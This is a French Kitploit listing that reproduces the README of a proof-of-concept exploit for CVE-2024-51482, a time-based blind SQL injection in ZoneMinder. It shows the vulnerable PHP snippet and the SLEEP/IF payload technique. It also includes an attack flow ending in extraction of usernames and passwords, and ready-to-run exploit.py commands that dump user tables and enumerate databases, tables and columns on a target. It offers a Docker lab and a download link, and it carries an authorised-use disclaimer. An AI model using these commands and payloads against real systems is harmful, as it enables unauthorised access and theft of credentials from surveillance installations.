Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-51482-POC — PoC d'injection SQL basée sur le temps pour CVE-2024-51482 dans ZoneMinder, avec laboratoire Docker reproductible et extraction automatisée de données. | Kitploit
Outils/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

PoC d'injection SQL basée sur le temps pour CVE-2024-51482 dans ZoneMinder, avec laboratoire Docker reproductible et extraction automatisée de données.

Voir le dépôt
710il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ZoneMinder POC d'injection SQL basée sur le temps avec authentification - CVE-2024-51482

CVE-1 CVSS Python

⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement. Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou sans autorisation écrite est illégal.


Table des matières

  • ZoneMinder POC d'injection SQL basée sur le temps avec authentification - CVE-2024-51482
    • Table des matières
    • Aperçu
    • Détails de la vulnérabilité
      • CVE-2024-51482 — Injection SQL aveugle basée sur le temps
      • Cause racine
      • Flux d'attaque
    • Structure du dépôt
    • Prérequis
    • Installation
      • PoC
      • Laboratoire Docker
    • Utilisation
      • Comportement par défaut
      • Écran d'aide
      • Commandes
      • Options de sortie
      • Référence des drapeaux
      • Exemple complet
      • Remarques
      • Laboratoire Docker
    • Exemple de sortie
    • Correction
      • Contre cette CVE
      • Contre des vulnérabilités similaires
    • Calendrier de divulgation
    • Références

Aperçu

Ce dépôt contient un PoC d'injection SQL basée sur le temps ciblant ZoneMinder.

L'outil permet :

  • Vérification de la vulnérabilité
  • Énumération de la base de données
  • Découverte de tables et de colonnes
  • Vidage complet de tables
  • Export CSV

Il inclut également un laboratoire Docker entièrement reproductible pour des tests sécurisés.


Détails de la vulnérabilité

CVE-2024-51482 — Injection SQL aveugle basée sur le temps

  • ID CVE : CVE-2024-51482
  • Score CVSS v3.1 : 10.0 (Critique)
  • Type de vulnérabilité : Injection SQL aveugle basée sur le temps
  • Versions affectées : ZoneMinder v1.37.* <= 1.37.64
  • Vecteur d'attaque : Point de terminaison authentifié (removetag)
  • Impact : Divulgation complète de la base de données, compromission de l'intégrité des données
  • Authentification requise : Oui (un utilisateur à faibles privilèges suffit)

Cause racine

ZoneMinder est un logiciel libre et open source de vidéosurveillance. La vulnérabilité provient d'une validation d'entrée insuffisante dans le point de terminaison removetag de ZoneMinder. L'entrée fournie par l'utilisateur est directement incorporée dans les requêtes SQL sans assainissement ni paramétrage approprié, permettant aux attaquants d'injecter des charges utiles SQL basées sur des booléens malveillantes. L'exploitation utilise :

SLEEP(x - IF(condition, 0, x))

pour déduire les données via le temps de réponse.

Extrait de code vulnérable complet provenant de l'avis du responsable GitHub :

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Flux d'attaque

Attaquant                              Application Web ZoneMinder
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← session authentifiée
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               Requête SQL booléenne exécutée
   │                               IF(condition, pas de délai, SLEEP)
   │◄────────────────────────────────────────│
   │  Réponse retardée (oracle temporel)     │  ← condition déduite
   │                                         │
   │  Requêtes répétées                      │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Différences de temps révèlent les caractères │
   │                                         │
   │  Recherche binaire par caractère         │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Données extraites (1 caractère à la fois)  │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Divulgation complète de la base de données │
   │                                         │
   ✓  Exfiltration complète des données via SQLi aveugle

Structure du dépôt

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

Prérequis

  • Python 3.8+
  • requests
  • Docker et docker-compose (pour l'environnement de laboratoire)

Installation

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Laboratoire Docker

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configurer les variables d'environnement
docker compose up -d

Utilisation

Comportement par défaut

Sans aucun drapeau, l'outil s'authentifie auprès de la cible, vérifie sa vulnérabilité, et si vulnérable, vide les colonnes ID, Username, Password, Name et Email de la table zm.Users (commande dump-users).

python exploit.py -t http://target/zm -u <username> -p <password>

Écran d'aide

python exploit.py -h

Commandes

check

Vérifie uniquement si la cible est vulnérable.

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

Vide les colonnes ID, Username, Password, Name et Email de la table zm.Users. Commande par défaut si aucune n'est spécifiée.

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

Liste toutes les bases de données.

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

Liste les tables d'une base de données spécifiée.

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

Liste les colonnes d'une table spécifiée.

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Télécharger l’outil